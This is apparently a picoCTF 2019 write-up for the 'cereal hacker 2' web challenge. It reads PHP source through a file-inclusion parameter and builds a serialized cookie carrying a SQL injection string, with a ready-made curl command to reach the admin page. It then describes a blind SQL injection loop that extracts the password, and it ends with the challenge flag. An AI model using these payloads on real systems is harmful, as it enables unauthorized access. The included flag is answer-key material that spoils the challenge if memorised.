cereal hacker 2
Problem
Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
Solution
Scan for files that can be loaded using the
file
parameter in the URL (http://2019shell1.picoctf.com:62195/index.php?file=FUZZ
):The
--hs
argument hides responses that match the specifies regex. When the file is not found the text "Unable to locate" is displayed so those responses are ignored.Run P0cL4bs/kadimus with
./kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f admin --parameter file
to findrequire_once('cookie.php');
inadmin.php
.Ouput of
/kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f cookie --parameter file
:```php <?php
require_once('../sql_connect.php');
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password;
}
/ legacy login / class siteuser { public $username; public $password;
}
We can use the same format from
cereal hacker 1
but withsiteuser
instead ofpermissions
:O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";}
. Use CyberChef with the recipe from before ([{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}]
) to encode the cookie.Run
curl http://2019shell1.picoctf.com:62195/index.php?file=admin -H "Cookie: user_info=Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnMSc9JzEiO30%253D"
to get admin page.Run script.py to get the flag. This script performs a blind error-based SQL injection. It sends a request with the cookie from above, but it changes the password field using the pattern below:
The program loops through ascii numbers and characters, trying each one until a login is successful. When the login is successful, the program appends that character to the stored flag and starts the loop again. The loop runs until the login is successful by adding the "}" character ("}" is end of flag) or until the list of characters is completely looped through in one iteration. If the second case were to happen then that means no character tested as valid or the end of the password has been reached.
Flag
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}
Last updated